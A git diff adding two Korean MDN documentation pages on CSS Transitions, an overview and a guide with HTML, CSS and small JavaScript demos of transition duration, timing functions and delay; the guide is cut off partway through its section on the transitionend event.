diff --git a/files/ko/web/css/css_transitions/index.html b/files/ko/web/css/css_transitions/index.html
new file mode 100644
index 0000000000..e32bb60c42
--- /dev/null
+++ b/files/ko/web/css/css_transitions/index.html
@@ -0,0 +1,59 @@
+---
+title: CSS Transitions
+slug: Web/CSS/CSS_Transitions
+tags:
+  - CSS
+  - CSS Transitions
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Transitions
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Transitions</strong>는 특정 CSS 속성의 값을 점진적으로 바꿀 수 있는 CSS 모듈입니다. 타이밍 함수, 시간 등 여러 속성을 통해 값이 바뀌는 방식을 조절할 수 있습니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("transition")}}</li>
+ <li>{{cssxref("transition-delay")}}</li>
+ <li>{{cssxref("transition-duration")}}</li>
+ <li>{{cssxref("transition-property")}}</li>
+ <li>{{cssxref("transition-timing-function")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Guide/CSS/Using_CSS_transitions">CSS 트랜지션 사용하기</a></dt>
+ <dd>CSS 트랜지션을 사용하는 법이 단계별로 적혀있습니다. 각각의 CSS 트랜지션 속성의 설명과, 서로 합치면 어떻게 동작하는지 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Animations">CSS Animations</a>를 사용하면 값의 전환을 CSS Transitions보다 더 세밀하게 조절할 수 있습니다.</li>
+</ul>
diff --git a/files/ko/web/css/css_transitions/using_css_transitions/index.html b/files/ko/web/css/css_transitions/using_css_transitions/index.html
new file mode 100644
index 0000000000..c81a169965
--- /dev/null
+++ b/files/ko/web/css/css_transitions/using_css_transitions/index.html
@@ -0,0 +1,1058 @@
+---
+title: CSS 트랜지션 사용하기
+slug: Web/CSS/CSS_Transitions/Using_CSS_transitions
+tags:
+  - Advanced
+  - CSS
+  - CSS Transitions
+  - Guide
+translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 트랜지션</strong>은 CSS 속성을 변경할 때 애니메이션 속도를 조절하는 방법을 제공합니다. 속성 변경이 즉시 영향을 미치게 하는 대신, 그 속성의 변화가 일정 기간에 걸쳐 일어나도록 할 수 있습니다. 예를 들어, 여러분이 어떤 요소의 색상을 흰색에서 검은색으로 변경한다면, 변화는 대개 즉시 일어납니다. CSS 트랜지션을 이용하면, 모두 커스터마이즈 가능한 어떤 가속도 곡선을 따르는 시간 주기마다 변화가 일어납니다.</p>
+
+<p>두 상태 사이의 트랜지션을 포함하는 애니메이션을 종종 암묵적 트랜지션이라고 부르는데, 이는 시작과 종료 상태 사이의 상태를 브라우저가 암묵적으로 정의하기 때문입니다.</p>
+
+<p><img alt="A CSS transition tells the browser to draw the intermediate states between the initial and final states, showing the user a smooth transitions." src="/files/4529/TransitionsPrinciple.png" style="display: block; height: 196px; margin: auto; width: 680px;"></p>
+
+<p>CSS transitions는 여러분이 <span style="line-height: 1.5;">(명시적으로 목록을 작성해서) </span><span style="line-height: 1.5;">어떤 속성을 움직이게 할지, (딜레이를 설정해서) 언제 애니메이션이 시작할지, (지속 시간을 설정해서) </span>트랜지션을<span style="line-height: 1.5;"> 얼마나 지속할지, 그리고 (</span><span style="line-height: 1.5;">예를 들면, 선형이거나 초기 빠름, 종료 느림과 같은 </span><span style="line-height: 1.5;">타이밍 함수를 정의해서) 어떻게 </span><span style="line-height: 1.5;">트랜지션을</span><span style="line-height: 1.5;"> 실행하는지 </span><span style="line-height: 1.5;">결정하게 합니다.</span></p>
+
+<h2 id="애니메이션_가능한_CSS_속성은">애니메이션 가능한 CSS 속성은?</h2>
+
+<p><span style="line-height: 1.5;">웹 작성자는 어떤 속성을 어떤 방식으로 움직일지를 정의할 수 있습니다. 이것은 복잡한 </span>트랜지션<span style="line-height: 1.5;">을 생성할 수 있게 합니다. 어떤 속성은 움직이게 하는 것이 말이 되지 않으므로, </span><a href="/en-US/docs/CSS/CSS_animated_properties" style="line-height: 1.5;" title="/en-US/docs/">애니메이션 가능한 속성의 집합</a><span style="line-height: 1.5;">은 유한한 집합으로 제한됩니다.</span></p>
+
+<div class="note">노트: 애니메이션 가능한 속성의 집합은 변할 수 있습니다. 개발자는 주의해서 진행해야 합니다.</div>
+
+<p class="note">또한, <span style="line-height: 1.5;">종종 auto 값은</span><span style="line-height: 1.5;"> 매우 복잡한 경우입니다. 스펙은 그러한 어떤 값에서 시작하고 끝나도록 움직이도록 요구하지 않습니다. Gecko 기반의 유저 에이전트처럼 몇몇은 이 요구사항을 구현했고, WebKit 기반의 유저 에이전트 같은 다른 것들은 덜 엄격합니다. 애니메이션에 auto를 사용하면 </span><span style="line-height: 1.5;">이는 브라우저와 버전에 따라 </span><span style="line-height: 1.5;">예상하지 못한 결과를 초래할 수 있으며 피해야 합니다.</span></p>
+
+<h3 id="다수의_애니메이션이_적용된_속성_예제">다수의 애니메이션이 적용된 속성 예제</h3>
+
+<h4 id="HTML_내용">HTML 내용</h4>
+
+<pre class="brush: html; highlight:[3]">&lt;body&gt;
+    &lt;p&gt;아래 박스는 width, height, background-color, transform을 위한 트랜지션을 결합합니다. 박스 위에 마우스를 올려 속성들의 애니메이션을 보세요.&lt;/p&gt;
+    &lt;div class="box"&gt;&lt;/div&gt;
+&lt;/body&gt;</pre>
+
+<h4 id="CSS_내용">CSS 내용</h4>
+
+<pre class="brush: css; highlight:[8,9]">.box {
+    border-style: solid;
+    border-width: 1px;
+    display: block;
+    width: 100px;
+    height: 100px;
+    background-color: #0000FF;
+    -webkit-transition:width 2s, height 2s, background-color 2s, -webkit-transform 2s;
+    transition:width 2s, height 2s, background-color 2s, transform 2s;
+}
+.box:hover {
+    background-color: #FFCCCC;
+    width:200px;
+    height:200px;
+    -webkit-transform:rotate(180deg);
+    transform:rotate(180deg);
+}
+
+</pre>
+
+<p>{{ EmbedLiveSample('%EB%8B%A4%EC%88%98%EC%9D%98_%EC%95%A0%EB%8B%88%EB%A9%94%EC%9D%B4%EC%85%98%EC%9D%B4_%EC%A0%81%EC%9A%A9%EB%90%9C_%EC%86%8D%EC%84%B1_%EC%98%88%EC%A0%9C', '600', '300', '', 'Web/Guide/CSS/Using_CSS_transitions') }}</p>
+
+<h2 id="트랜지션_정의에_사용한_CSS_속성">트랜지션 정의에 사용한 CSS 속성</h2>
+
+<p>CSS 트랜지션은 단축(shorthand) 속성 {{cssxref("transition")}}을 사용하여 제어합니다. 이것은 트랜지션을 설정하는 가장 좋은 방법입니다. 파라미터 목록의 길이가 싱크가 맞지 않는 것을 피하기가 더 쉬워지기 때문입니다. 싱크가 맞지 않으면 CSS를 디버그하는데 많은 시간을 들여야 해서 크게 좌절할 수 있습니다.</p>
+
+<p>여러분은 아래의 서브 속성으로 트랜지션의 개별 컴포넌트를 제어할 수 있습니다:</p>
+
+<p><strong>(이 트랜지션은 단지 예제를 목적으로 계속해서 루프를 돕니다. 그리고 CSS <code>transition들은 시작에서 종료까지 어떤 속성의 변화만을 시각화합니다. 그 루프를 시각화하려면 </code>CSS <code><a href="/en-US/docs/CSS/animation" title="/en-US/docs/CSS/animation">animation</a> 속성을 살펴보세요.</code>)</strong></p>
+
+<dl>
+ <dt>{{ cssxref("transition-property") }}</dt>
+ <dd>트랜지션을 적용해야 하는 CSS 속성의 이름 혹은 이름들을 명시합니다. 여기에 나열한 속성만 트랜지션하는 동안 움직입니다. 또한, 다른 모든 속성에 대한 변화는 보통 때와 같이 즉시 일어납니다.</dd>
+ <dt>{{ cssxref("transition-duration") }}</dt>
+ <dd>트랜지션이 일어나는 지속 시간을 명시합니다. 트랜지션 동안 모든 속성에 적용하는 단일 지속 시간을 명시하거나, 다른 주기로 각 속성이 트랜지션하게 하는 여러 지속 시간을 명시할 수 있습니다.
+ <div>
+ <div id="duration_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 0.5s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_0_5s",275,150)}}</div>
+ </div>
+
+ <div id="duration_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 1s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_1s",275,150)}}</div>
+ </div>
+
+ <div id="duration_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 2s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_2s",275,150)}}</div>
+ </div>
+
+ <div id="duration_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-duration: 4s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("duration_4s",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+ <dt>{{ cssxref("transition-timing-function") }}</dt>
+ <dd><img alt="" src="/files/3434/TF_with_output_gt_than_1.png" style="float: left; height: 173px; margin-right: 5px; width: 130px;">속성의 중간값을 계산하는 방법을 정의하는 함수를 명시합니다. <em>Timing functions</em>는 트랜지션의 중간값을 계산하는 방법을 결정합니다. 대부분의 <a href="/en-US/docs/CSS/timing-function" title="/en-US/docs/CSS/timing-function">타이밍 함수</a>는 큐빅 베이지어(cubic bezier)를 정의하는 네 점에 의해 정의되므로 상응하는 함수의 그래프로 제공해서 명시할 수 있습니다. <a href="http://easings.net/" title="http://easings.net/">Easing Functions Cheat Sheet</a>에서 이징(easing, 역자주: 시간에 따른 파라미터 값의 변화율을 명시하는 함수)을 선택할 수도 있습니다.
+ <div class="cleared">
+ <div id="ttf_ease" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: ease</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: ease;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_ease",275,150)}}</div>
+ </div>
+
+ <div id="ttf_linear" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: linear</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_linear",275,150)}}</div>
+ </div>
+
+ <div id="ttf_stepend" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: step-end</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: step-end;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: step-end;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_stepend",275,150)}}</div>
+ </div>
+
+ <div id="ttf_step4end" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: steps(4, end)</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-timing-function: steps(4, end);
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_step4end",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+ <dt>{{ cssxref("transition-delay") }}</dt>
+ <dd>속성이 변한 시점과 트랜지션이 실제로 시작하는 사이에 기다리는 시간을 정의합니다.
+ <div>
+ <div id="delay_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 0.5s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:0.5s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_0_5s",275,150)}}</div>
+ </div>
+
+ <div id="delay_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 1s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_1s",275,150)}}</div>
+ </div>
+
+ <div id="delay_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 2s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_2s",275,150)}}</div>
+ </div>
+
+ <div id="delay_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 4s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_4s",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+</dl>
+
+<p>다음과 같이 단축 CSS 문법을 사용합니다.</p>
+
+<pre class="brush:css;">div {
+    transition: &lt;property&gt; &lt;duration&gt; &lt;timing-function&gt; &lt;delay&gt;;
+}</pre>
+
+<h2 id="트랜지션_완료_감지하기">트랜지션 완료 감지하기</h2>
+
+<p>트랜지션을 완료하면 발생하는 단일 이벤트가 있습니다. 모든 표준을 따르는 브라우저에서 그 이벤트는 <code>transitionend이며, </code>WebKit에서는 <code>webkitTransitionEnd입니다. 자세한 내용은 맨 아래의 호환성 테이블을 참고하세요. </code><code>transitionend 이벤트는 두 속성을 제공합니다.</code></p>
+
+<dl>
+ <dt><code>propertyName</code></dt>
+ <dd>트랜지션을 완료한 CSS 속성의 이름을 나타내는 문자열</dd>
+ <dt><code>elapsedTime</code></dt>
